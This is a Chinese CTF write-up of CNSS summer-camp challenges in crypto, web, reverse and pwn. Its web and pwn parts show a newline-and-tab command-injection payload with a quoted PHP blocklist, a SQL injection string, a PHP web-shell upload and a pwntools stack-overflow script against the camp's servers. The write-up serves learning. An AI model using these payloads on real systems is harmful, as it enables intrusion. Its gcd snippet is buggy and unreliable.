CNSS在2024年8月的CTF夏令营题目,记录一下自己打的wp。
🔢Crypto 🔮cnss娘的谜语 常见编码,把十进制、十六进制、二进制和 base64 分别转化为字节,拼起来后 utf-8 转成 string 就能还原出flag 。
cnss{学会编码是学 Crypto 的第一步。!}
🐬水龙吟 解一个线性同余方程 : $$ c \equiv mg\pmod{p} $$
首先用 Euclid 算法递归 计算 $g$ 和 $p$ 的最大公约数 $gcd(g, p)$:
1 2 3 4 5 def gcd (a, b ): if b == 0 : return a return gcd(a, a % b)
方程两边同时除以 $gcd$,只需找到 $g’$ 的逆元即可。 $$ m\equiv c’g’\pmod{p’} $$
用 Extend Euclid alg 求解:向下递,向上归。
1 2 3 4 5 def exgcd (a, b ): if b == 0 : return a, 1 , 0 d, x, y = exgcd(b, a % b) return d, y, x - (a // b) * y
解出 $m$ 就能还原出 flag 。
cnss{Subgroup @nd Eucl1d algOrithm 1s eleg4nt.}
🌔卜算子 若 $n$,$a$ 为正整数且 $gcd(a, n)=1$,则$a^{\phi(n)}\equiv1\pmod{n}$。
由于 $c\equiv m^e\pmod{n}$,设 $d$ 为 $e$ 模 $\phi(n)$ 的逆元,即 $$ ed\equiv 1\pmod{\phi(n)} $$ 则有 $$ c^d\equiv m^{ed}\equiv m^{1+k\phi(p)}\equiv m\pmod{n} $$ 因此,利用三素数 RSA 即可解出 flag 。
cnss{1t is similar to two-prime RSA....}
🐠Fun_factoring 首先init()
函数生成了前100个素数,$q_1-1$ 光滑 ,考虑使用 Pollard’s p - 1 algorithm 。
根据 Fermat’s little theorem:若 $p$ 是 $N$ 的素因子,且 $a$ 与 $p$ 互素,则 $$ a^{p-1}\equiv 1\pmod{p} $$
$$ a^{t(p-1)}-1^t=kp $$
若 $p$ 是一个 B-smooth number,则存在 $$M = \prod_{q\leq B} q^{\lfloor \log_q B \rfloor}$$ 使得 $(p-1)|M.$
计算 $gcd(a^M-1,N)$。如果结果不为 $1$ 或 $N$,那么就成功分解了 $N$。
不是很懂这个结构…
其实 不难发现 $ B!\ |\ p-1$。所以只需找到一个合适大小的数 $B$,就可以在多项式时间内出结果,拿到 flag1 。
1 2 3 4 5 6 7 8 9 10 a = 2 B = 2 while True : a = pow (a, B, N) res = gcd(a - 1 , N) if res != 1 and res != N: q = N // res break B += 1
cnss{1f_y0u_Kn0w_Pollard_y0u_Kn0w_1t_4ll}
注意到 hint2 实际上是 $e$ 和 $d$ 的乘积,计算 $k=ed-1$ 为 $p-1$ 的倍数。选随机数 $g\in(1,N)$。
RSA: how to factorize N given d
$k$ 为偶数,故 $k=2^t\cdot r$,其中 $r$ 为奇数且 $t\geq 1$,然后计算 $x=g^{\frac{k}{2}},g^{\frac{k}{4}},…,g^{\frac{k}{2^t}}\pmod{N}$ 直到 $x>1$ 且 $y=gcd(x-1,N)>1$。如果 $y$ 存在,则 $p=y$;若不存在,则重新生成 $g$.
1 2 3 4 5 6 7 8 9 10 11 12 13 k = e * d - 1 while True : g = random.randint(2 , n-1 ) t = k while True : if t % 2 != 0 : break t //= 2 x = pow (g, t, n) if x > 1 and gcd(x - 1 , n) > 1 : p = gcd(x - 1 , n) return (p, n // p)
根据欧拉定理 $$ g^{\phi(n2)\cdot(r-1)}\equiv1\pmod{hint1} $$ 而设 $ed-1=k\phi(n2)$,测试可知 $k>>r-1$,则有 $$ g^{ed-1}\equiv 1\pmod{hint1} $$ 所以,我们先通过 hint1 把 n2 分解出来,再分解出 p2 和 q2 拿到 flag2 。
cnss{Factoring_the_modulus_1s_FUn_fuN_Fun_f0r_The_whOLe_F4miLY!}
这两种方法的核心就是费马小定理 。
🦢BabyCurve 简单的椭圆曲线群,sage 跑一下就行了。主要是求 e 在椭圆曲线群 E 上的逆元 d。熟悉一下 sage 里和 EllipticCurve 相关的操作即可。运行一段时间,拿到 flag 。
cnss{The elliptic curve 0ver a fin1te f1eld is an ab3lian group!}
🔑Small private key 这是一个 wiener attack。Google 搜到一篇论文 New Attacks on RSA with Modulus N = p2q Using Continued Fractions ,拿 AI 翻译了一遍算法,拿到 flag 。
cnss{Th1s is the p0wer of continu3d fr@ction hhhhhhh}
🐿️物不知数 这题在求 DLP,先分解 n,再结合 CRT,依靠前四个因子就行,拿到 flag 。其实就是 Pohlig-Hellman algorithm 。
cnss{Wow!The CRT 1s S0 u5eful!}
⚒️铜匠的艺术Ⅱ 不会。
⛏️铜匠的艺术Ⅰ p 和 q 相差很大,unbalanced rsa,搜到了一篇maple的一模一样 的博客,d = p,意味着 $$ en\equiv epq \equiv q\pmod{\phi(n)} $$ 根据 Euler Theorem,$2^{en}\equiv 2^q \pmod{n}$,再根据 Fermat 小定理,reduce 到模 q,有 $$ 2^{en}\equiv 2^q\equiv 2\pmod{q} $$ 所以 $gcd(2^{en}-2)$ 是 $n$ 的一个 nontrival factor。给 e 的话就可以直接解了,但这题没给。
那也就是说,在$m^{en}\equiv m\pmod{q}$下,构造多项式 $f(x)=x^{en}-x$,coppersmith 找到其在模意义下的根 $m$,拿到 flag 。
cnss{Am@zing!Y0u hav3 found the art 0f c0pper5mith!}
😋叒是欧几里得 这里Alice用同一公钥e对两个具有线性关系的消息加密,并将加密后的消息发送给了Bob。满足Related Message Attack 的攻击条件,Franklin–Reiter related-message attack 即可。
在这篇博客 里找到了一模一样的攻击。
嗨,又是铜。$m_1=m+k_1\delta,\ m_2=m+k_2\delta$,$r=(k_1-k_2)\delta$。flag
cnss{Half-GCD 1s so u5eful!}
⚽Permutation 不会。
🕸️Web 做密码题的时候遇到很多和web交互的情况,遂前来学习(玩)。不会Web,打着玩的。
🦴babyHTTP psych 上课开小差,下课之后同桌说今天学的 HTTP 请求,然而 psych 并不知道这个知识点,请你帮他完成作业,获得 flag 。
HTTP 请求有什么内容呢?
一张图说明访问网站的流程
硬核!30 张图解 HTTP 常见的面试题
cURL是一种通过命令行或脚本进行数据传输的工具,支持多种协议,可以用来发送http请求,获取服务器响应。(还有其他功能)
-i(--include)
选项在输出中包含服务器返回的HTTP响应头信息。-v(--verbose)
选项显示请求的详细信息和调试信息。
1 2 3 4 5 6 $ curl "http://152.136.11.155:10101/" Please GET me a CNSS with a value of 'hackers' . $ curl "http://152.136.11.155:10101/?CNSS=hackers" And I need you POST a web with a value of 'fun' . $ curl "http://152.136.11.155:10101/?CNSS=hackers" -X POST -d "web=fun" Do you know cookie?You are not admin!
关于cookie我们-i看一下,找到Set-Cookie: admin=false
,改成true就行了。
1 2 $ curl "http://152.136.11.155:10101/?CNSS=hackers" -X POST -d "web=fun" -b "admin=true" CNSS{w2b_!s_Reai1y_7un!!!}
御林的题还考了Referer,提示我们You must come from “YulinSec://127.0.0.1”
1 $ curl curl "http://101.35.209.40:44505/?key1=YulinSec" -X POST -d "key2=YulinSec" -H "Referer:YulinSec://127.0.0.1"
关于302跳转重定向的题,看源码提示我们flag位于/302.php
下,直接curl即可查到flag。HTTP OPTIONS Method
🙋🏼♀️PHPinfo CNSS娘!phpinfo文件是什么呀!
如何创建phpinfo文件并查看PHP信息 – WordPress大学 (wpdaxue.com)
直接在URL后添加/phpinfo.php
查找即可。
1 cnss{l3t_u5_l3arn_php!nfo!}
🥇我得再快点 考验手速的时候到了
scRsCrIptiPt
看了网页的源代码,使用javascript实现一个自动刷新的页面,GET传参到/check
就行了。
1 2 3 4 5 <p > Key : 6Dd3LzGVhvEn8wv<span id ="variable" > </span > </p > <form action ="/check" method ="GET" > <input type ="text" id ="value" name ="value" required > <button type ="Flag" > Flag</button > </form >
机器的确是比人快呀!写一个python脚本,Requests库与网站进行交互。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import requestsimport hashliburl = 'http://152.136.11.155:10103' submit_url = 'http://152.136.11.155:10103/check' def get_md5_hash (): try : content = requests.get(url).text key = content.split('Key : ' )[1 ].split('<span id="variable">' )[0 ].strip() return hashlib.md5(key.encode()).hexdigest() except requests.RequestException as e: print (f"Error: {e} " ) return None def submit_md5 (md5_hash ): try : return requests.get(submit_url, params={'value' : md5_hash}).text except requests.RequestException as e: print (f"Error: {e} " ) return None if __name__ == "__main__" : md5_hash = get_md5_hash() if md5_hash: result = submit_md5(md5_hash) if result: print (result) """ cnss{3njoy_py5crIpt_n0w!!} """
🏓Ping psych:#ping CNSS娘:pong!
连上之后只有一段PHP代码:
1 2 3 4 5 if (isset ($_POST ['ip' ])) { $ip = $_POST ['ip' ]; $ping_result = ping ($ip ); echo nl2br ($ping_result ); }
很明显这是让我们用POST方法传一下ip地址,然后服务器执行ping函数。试一下:
1 2 3 4 5 6 7 8 $ curl "http://152.136.11.155:10104/" -X POST -d "ip=127.0.0.1" PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.<br /> 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.046 ms<br /> 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.039 ms<br /> <br /> --- 127.0.0.1 ping statistics ---<br /> 2 packets transmitted, 2 received, 0% packet loss, time 31ms<br /> rtt min/avg/max/mdev = 0.039/0.042/0.046/0.007 ms
发现有回显,但过于正常。通过搜索ctf web ping得知,可以使用命令连接符尝试列目录。于是
1 2 3 4 $ curl "http://152.136.11.155:10104/" -X POST -d "ip=127.0.0.1;ls" Error: Invalid input. $ curl "http://152.136.11.155:10104/" -X POST -d "ip=127.0.0.1;" Error: Invalid input.
不幸又幸运的是,我们知道分号;
被滤掉了。开搜!
1 2 $ curl "http://152.136.11.155:10104/" -X POST -d "ip=127.0.0.1%0als" index.php
出现了,emmm,不是想要的。别急,看看怎么个事儿:哎,空格也被过滤了。
1 $ curl "http://152.136.11.155:10104/" -X POST -d "ip=127.0.0.1%0acat%09index.php"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 function validate_input ($input ) {$invalid_chars = array ("sh" ,"bash" ,"chown" ," " , "chmod" , "echo" , "+" , "&" ,";" , "|" , ">" , "<" , "`" , "\\" , "\"" , "'" , "(" , ")" , "{" , "}" , "[" , "]" );foreach ($invalid_chars as $invalid_char ) {if (strpos ($input , $invalid_char ) !== false ) {return false ;} } if (preg_match ("/.*f.*l.*a.*g.*/" , $input )) {return false ;} return true ;} function ping ($ip_address ) {if (!validate_input ($ip_address )) {return "Error: Invalid input." ;} $cmd = "ping -c 2 " .$ip_address ;exec ($cmd , $output , $return_code );if ($return_code !== 0 ) {echo ("Error: Failed to execute command." );} return implode ("\n" , $output );} if (isset ($_POST ['ip' ])) {$ip = $_POST ['ip' ];$ping_result = ping ($ip );echo nl2br ($ping_result ); } ?>
总算看到过滤层了。去其TA目录看看吧。
哈?哈!Here it is!来来让我们cat一下:
1 2 curl "http://152.136.11.155:10104/" -X POST -d "ip=1.1.1.1%0acat%09../../../f*" CNSS{p0ng_pong_p0ng!!!}
在这之前我一直尝试网上搜到的各种绕过flag限制的方法,直到 fan✌️一句话点醒了我
学到了,谢谢宝宝(啾咪)>
🐶CNSS娘の宠物商店 CNSS娘开始创业啦!CNSS娘の宠物商店正式开业!
CNSS娘的账号是 admin
, 登陆查看CNSS娘藏在后台的秘密……
sql注入' or 1='1
。
1 CNSS{h0w_d0_y0u_637_7h3_p455w0rd1?}
🎮2048 2048真好玩,玩到1000000分就能拿到flag!
不是,你真玩啊?
禁了F12和右键,Ctrl+Shift+I打开控制台,查看Flag按钮的HTML标签,注意到
1 <input type ="button" onclick ="getflag()" value ="Flag" >
在Sources的main2048.js中查到getflag()函数(以及下面各种屏蔽),发现是一堆乱码。想法是找到判断点1000000分但是没查到,复制下来转去查score,发现
这个0xf4240刚好是1000000,给它改成0再按一下Flag按钮即可拿到flag。
1 cnss{3asy_fr0nt_kn0w1edge!!!}
👤换个头像先 CNSS娘这么可爱,你确定要把她换掉吗?
真的只能上传图片吗?
账号密码都是admin登陆,上传一句话木马。改一下后缀绕过检查,先把php改成png,上蚁剑连接getshell即可。
🔍Reverse 这个夏天,我第一次接近了那个女人。
😍那个女人 上课的时候Shino老师讲了一个工具可以用来逆向软件,但是Timlzh忘掉软件叫什么了,只记得头像是那个女人……
成功安装IDA Pro,打开即得flag
1 CNSS{Sh3_1s_IDA!W3lc0m3_t0_Rev3rse_W0rld!}
😭我的flag碎了一地 我的flag碎掉了,你能帮我找回来吗?
用IDA打开找flag、学会在IDA中使用F5。
打开IDA发现三个hint,Shift+F12
能打开Strings,找到第一部分;左侧Functions栏上方找到第二部分;根据提示,X
查看交叉引用,找到funs718,F5
看到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int func718 () { puts ("718" ); br0ken_4parT_ (); putchar (66 ); putchar (117 ); putchar (55 ); putchar (95 ); putchar (89 ); putchar (48 ); putchar (117 ); putchar (95 ); putchar (99 ); putchar (64 ); putchar (110 ); return putchar (95 ); }
这里putchar给的不完整,退回去能看到完整的最后一部分,拿到flag
1 CNSS{My_fl@g_h4s_br0ken_4parT_Bu7_Y0u_c@n_f1x_1t!}
✈️打飞机高手 你会打飞机吗?高分有奖哦!✈️
Patch Program
找程序漏洞,修改逻辑以出现flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 int __fastcall main (int argc, const char **argv, const char **envp) { _main(argc, argv, envp); Startup (); while ( IsOver ) { UpdateInput (); UpdateNormal (); Show (); } printf ("\t\tYou Are so WEAK!\n" ); Sleep (0x9C4u ); system ("pause" ); return 0 ; } int Show () { int result; int j; int i; HideCursor (); gotoxy (1LL , 1LL ); for ( i = 0 ; i <= 26 ; ++i ) { for ( j = 0 ; j <= 61 ; ++j ) { switch ( canvas[62 * i + j] ) { case 1 : printf ("*" ); break ; case 2 : printf (asc_14001301C); break ; case 3 : printf (&asc_14001301C[2 ]); break ; case 0xFFFFFFFF : printf (&asc_14001301C[4 ]); break ; default : if ( canvas[62 * i + j] ) { if ( canvas[62 * i + j] == 4 ) printf (&asc_14001301C[8 ]); } else { printf (&asc_14001301C[6 ]); } break ; } } printf (&asc_14001301C[10 ]); } printf ("\nScore: %d" , score); result = score; if ( score > 1145141918 ) { printf ("\t\tWell Done! You got the flag!\n\t\t" ); get_flag (); Sleep (0x9C4u ); return system ("pause" ); } return result; }
在函数开头直接放上可疑函数即可,Edit-Patch Program-Assemble,右键、退出、鼠标点击空白处就可以看到变化后的代码,最后记得Apply Patches to…
运行修改好的exe程序,拿到flag
1 cnss{w0w_y0u_4r3_7he_m4st3r_0f_h1tt1ng_p1an3s!}
♾️亦真亦或亦假 尊嘟假嘟? O.o
纯加密题,根据题目不难猜是异或相关的。IDA打开以后Ctrl+F
查一下main
函数,看一下代码逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 int __fastcall main (int argc, const char **argv, const char **envp) { _QWORD v4[12 ]; int v5; _QWORD v6[12 ]; int v7; int i; _main(argc, argv, envp); v6[0 ] = 0x731047656E6F7579LL ; v6[1 ] = 0x761B45794B10407DLL ; v6[2 ] = 0x6E005B71491F585FLL ; v6[3 ] = 0x45045205575D01LL ; memset (&v6[4 ], 0 , 64 ); v7 = 0 ; memset (v4, 0 , sizeof (v4)); v5 = 0 ; printf ("Input your flag: " ); scanf ("%s" , v4); eNc0d3 (v4); for ( i = 0 ; i <= 30 ; ++i ) { if ( *((_BYTE *)v4 + i) != *((_BYTE *)v6 + i) ) { printf ("Wrong!\n" ); return 0 ; } } printf ("Correct!\n" ); return 0 ; } __int64 __fastcall eNc0d3 (__int64 a1) { __int64 result; int i; int v3; v3 = 26 ; for ( i = 0 ; ; ++i ) { result = *(unsigned __int8 *)(a1 + i); if ( !(_BYTE)result ) break ; *(_BYTE *)(i + a1) = v3++ ^ *(_BYTE *)(a1 + i); } return result; }
加密是一个循环,读取flag地址加上i
偏移位置的一个字节。将v3和读取到的字节进行异或,结果写回到同一位置。
主函数循环是在比较加密后v4和v6的前30个字节是否相同,也就是给我们密文v6,还原明文即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <stdio.h> int main () { char c[32 ]; *(long long *)&c[0 ] = 0x731047656E6F7579 LL; *(long long *)&c[8 ] = 0x761B45794B10407D LL; *(long long *)&c[16 ] = 0x6E005B71491F585F LL; *(long long *)&c[24 ] = 0x45045205575D01 LL; int v3 = 26 ; for (int i = 0 ; i < 31 ; i++) { c[i] ^= v3++; } printf ("%s" , c); return 0 ; }
🍵茶杯头大冒险 爱养生的Timlzh带着他的茶杯头来向你求助,你能帮他找到他心爱的茶壶吗😔
纯加密题,搜了一下应该是属于TEA加密,闻所未闻,看一下代码逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 int __fastcall main (int argc, const char **argv, const char **envp) { _DWORD Str[8 ]; _DWORD v5[8 ]; unsigned int v6[6 ]; int j; int i; _main(argc, argv, envp); v6[0 ] = 429459223 ; v6[1 ] = 537200643 ; v6[2 ] = 537462290 ; v6[3 ] = 537006083 ; v5[0 ] = -999025570 ; v5[1 ] = 970203505 ; v5[2 ] = -181949973 ; v5[3 ] = -483739382 ; v5[4 ] = 1062983671 ; v5[5 ] = -697079924 ; printf ("input the flag: \n" ); scanf ("%s" , Str); if ( strlen ((const char *)Str) == 24 ) { for ( i = 0 ; i <= 4 ; ++i ) encrypt (&Str[i], v6); for ( j = 0 ; j <= 5 ; ++j ) { if ( Str[j] != v5[j] ) { printf ("it's not my teapot!" ); return 0 ; } } printf ("Oh my god, you made it?!" ); system ("pause" ); return 0 ; } else { printf ("the length is NSFW~~~" ); return 0 ; } } __int64 __fastcall encrypt (unsigned int *a1, unsigned int *a2) { __int64 result; unsigned int i; unsigned int v4; unsigned int v5; unsigned int v6; v6 = *a1; v5 = a1[1 ]; v4 = 0 ; for ( i = 0 ; i <= 0x1F ; ++i ) { v6 += (((v5 >> 5 ) ^ (16 * v5)) + v5) ^ (a2[v4 & 3 ] + v4); v4 += 289739793 ; v5 += (((v6 >> 5 ) ^ (16 * v6)) + v6) ^ (a2[(v4 >> 11 ) & 3 ] + v4); } *a1 = v6; result = v5; a1[1 ] = v5; return result; }
加密过程a1是明文,a2是密钥。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #include <stdio.h> #include <stdint.h> void decrypt (uint32_t * v, const uint32_t * key) { uint32_t v0 = v[0 ], v1 = v[1 ]; const uint32_t delta = 0x11451411 ; uint32_t sum = delta * 32 ; for (int i = 0 ; i < 32 ; i++) { v1 -= (((v0 << 4 ) ^ (v0 >> 5 )) + v0) ^ (sum + key[(sum >> 11 ) & 3 ]); sum -= delta; v0 -= (((v1 << 4 ) ^ (v1 >> 5 )) + v1) ^ (sum + key[sum & 3 ]); } v[0 ] = v0; v[1 ] = v1; } int main () { uint32_t key[4 ] = {429459223 , 537200643 , 537462290 , 537006083 }; uint32_t enc[6 ] = {0xC474145E , 0x39D42171 , 0xF527A9EB , 0xE32AB90A , 0x3F5BD7F7 , 0xD673678C }; for (int i = 4 ; i >= 0 ; i--) { decrypt (&enc[i], key); } for (int i = 0 ; i < 6 ; i++) { printf ("%c%c%c%c" , enc[i] & 0xFF , (enc[i] >> 8 ) & 0xFF , (enc[i] >> 16 ) & 0xFF , (enc[i] >> 24 ) & 0xFF ); } putchar ('\n' ); return 0 ; }
💥爆了爆了,和 JAVA 爆了 啊?逆向还要学 Java?
非常简单且入门的安卓逆向 你需要了解apk文件结构 JEB或JADX的使用 以及简单的java语法
JADX打开,翻找一通,找到com.cnss.myapplication,就是这道题的关键了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 class Test : def __init__ (self ): self .str = ['A' , 'B' , 'C' , 'D' , 'E' , 'F' , 'G' , 'H' , 'I' , 'J' , 'K' , 'L' , 'M' , 'N' , 'O' , 'P' , 'Q' , 'R' , 'S' , 'T' , 'U' , 'V' , 'W' , 'X' , 'Y' , 'Z' , 'a' , 'b' , 'c' , 'd' , 'e' , 'f' , 'g' , 'h' , 'i' , 'j' , 'k' , 'l' , 'm' , 'n' , 'o' , 'p' , 'q' , 'r' , 's' , 't' , 'u' , 'v' , 'w' , 'x' , 'y' , 'z' , '0' , '1' , '2' , '3' , '4' , '5' , '6' , '7' , '8' , '9' , '+' , '/' ] def main (self ): a = [ "SJNPhthkmYBHow5Y75wRDa==" , "RoBAU/g/jlxuy+Ns1YtA86==" , "YZNTjQcHgoBaqf5hyYtM0K==" , "Z1Z/gv18ro1pkgF2rX5x+6==" , ... "bXF7hfV5smIOu/1q159Q16==" , "c441i+Z6r55Lmf9H4V=XD===" , "aY1MmRldcYRrtdlh50RJC===" , "Y5dYaAcAjoBtug1NwYFUBa==" , "TIk6kw9/pnZ41eRs1IZr4a==" , "cIU9ZQpjiINPy/kOw31OEa==" ] for i in range (100 ): s = self .decode(a[i]) print (a[i]) print (s) def decode (self, code ): length = len (code) if length == 0 or length % 4 != 0 : return None end_equal_num = 0 if code.endswith("==" ): end_equal_num = 2 elif code.endswith("=" ): end_equal_num = 1 code = code.replace('=' , '0' ) result = [] block_num = length // 4 for i in range (block_num): after_decode = self .decode_detail(code[i * 4 :(i * 4 ) + 4 ]) if after_decode: result.append(after_decode) result_str = '' .join(result) return result_str[:len (result_str) - end_equal_num] def decode_detail (self, s ): if len (s) != 4 : return None a1 = self .get_index(s[0 ]) self .qwq() a2 = self .get_index(s[1 ]) self .qwq() a3 = self .get_index(s[2 ]) self .qwq() a4 = self .get_index(s[3 ]) self .qwq() b = [ chr ((a1 << 2 ) | ((a2 & 48 ) >> 4 )), chr (((a2 & 15 ) << 4 ) | ((a3 & 60 ) >> 2 )), chr (((a3 & 3 ) << 6 ) | a4) ] return '' .join(b) def get_index (self, c ): try : return self .str .index(c) except ValueError: return -1 def qwq (self ): tmp = [None ] * 64 for i in range (len (self .str )): tmp[i] = self .str [(i + 2 ) % 64 ] self .str = tmp.copy() if __name__ == "__main__" : test = Test() test.main()
根据提示,key is a meaningful sentence,写个python脚本解一下base64,得到密钥。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from base64 import b64decodefrom Crypto.Cipher import AESfrom Crypto.Util.Padding import unpaddef decode (code ): if len (code) == 0 or len (code) % 4 != 0 : return None end_equal_num = 0 if code.endswith("==" ): end_equal_num = 2 elif code.endswith("=" ): end_equal_num = 1 code = code.replace('=' , '0' ) decoded_str = '' for i in range (0 , len (code), 4 ): decoded_str += decode_detail(code[i:i+4 ]) result = decoded_str[:-end_equal_num] return result def decode_detail (encoded_str ): str_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" a1 = str_chars.index(encoded_str[0 ]) a2 = str_chars.index(encoded_str[1 ]) a3 = str_chars.index(encoded_str[2 ]) a4 = str_chars.index(encoded_str[3 ]) b = chr (((a1 << 2 ) | ((a2 & 48 ) >> 4 ))) + \ chr (((a2 & 15 ) << 4 ) | ((a3 & 60 ) >> 2 )) + \ chr (((a3 & 3 ) << 6 ) | a4) return b def qvq (key_str ): cipher_text = b64decode("11VaDwVeOwKvL6eqb2hsA2rb0wTbTRwsb7WirGpBW8s=" ) key = key_str.encode('utf-8' ) cipher = AES.new(key, AES.MODE_ECB) decrypted_data = unpad(cipher.decrypt(cipher_text), AES.block_size) return decrypted_data.decode('utf-8' ) key = "I am CNSS AESkey" decrypted_message = qvq(key) print (decrypted_message)""" cnss{We1c0Me t0 Andorid Rev!} """
💥Pwn Pwn真是太有趣辣!从零开始的PWN之路!
😯nc? nc! nc 152.136.11.155 10020
system(‘/bin/sh’),直接netcat一键getshell,Linux连接,cat flag
1 2 3 4 5 $ nc 152.136.11.155 10020 Welcome to CNSS Recruit 2024! Start your journey to become a pwn master! cat flagcnss{Welcome_to_pwn_world!}
🤖Bot 偷偷告诉你,CNSS娘bot里其实藏了一个人。
前任中之人Shino,随着年纪渐长,已经无法满足群友日益增长的水群需求。CNSS娘迫切需要新的接班人!
为了不被群友识破,你需要按照操作规范水群:完成100次交互即可通过考核。
nc 152.136.11.155 10021
有个很好用的库叫pwntools!
一道Pwntool交互题。程序的逻辑就是循环100次后跳出循环,执行system函数。在循环内部会执行broadcast或bot_ping这两个函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *import rehost = '152.136.11.155' port = 10021 p = remote(host, port) for i in range (100 ): data = p.recvline().decode() if '[SYSTEM]' in data: match = re.search(r'\[SYSTEM\]\[(.*?)\]\((\d+)pt\)--\[(.*?)\]\((\d+)pt\)' , data) if match : player_id = match .group(1 ) player_score = int (match .group(2 )) item_name = match .group(3 ) item_score = int (match .group(4 )) expected_response = f"Congratulations to {player_id} for passing [{item_name} ], current score is {player_score + item_score} points!" p.sendline(expected_response.encode()) elif '[USER]' in data: if '#ping' in data: p.sendline('pong!' .encode()) elif 'Too Slow' in data: print ("Timeout or unexpected issue occurred." ) break else : print (f"Unhandled data: {data} " ) p.sendline(b'cat flag' ) p.interactive() """ cnss{GnAlPu8Q-KL65ZOTK-hahahaha-U9BvTeeI} """
💓Overflow Me 小数组要被塞满了!
nc 152.136.11.155 10022
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int __fastcall main(int argc, const char **argv, const char **envp){ _BYTE buf[16 ]; // [rsp+0h] [rbp-20h] BYREF __int64 v5; // [rsp+10h] [rbp-10h] unsigned __int64 v6; // [rsp+18h] [rbp-8h] v6 = __readfsqword(0x28u); my_init(argc, argv, envp); puts("Over flow me pls:" ); read(0 , buf, 0x20uLL); if ( v5 != 114514 ) { puts("wrong,try again" ); exit(0 ); } system("/bin/sh" ); return 0 ; }
最基础的栈溢出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *host = '152.136.11.155' port = 10022 p = remote(host, port) padding = 16 payload = b'p' * padding + p64(114514 ) p.sendlineafter('Over flow me pls:' , payload) p.sendline(b'cat flag' ) p.interactive() """ cnss{Kz20UZyn-TNTfrc4Z-jiejiejie-sDwO2bC0} """
🧩Misc 没怎么做,也做不出来,笑死。做出一道音频隐写还有一道Word文档查时间的题。
很有趣的一次经历,记录一下,嘻嘻>.<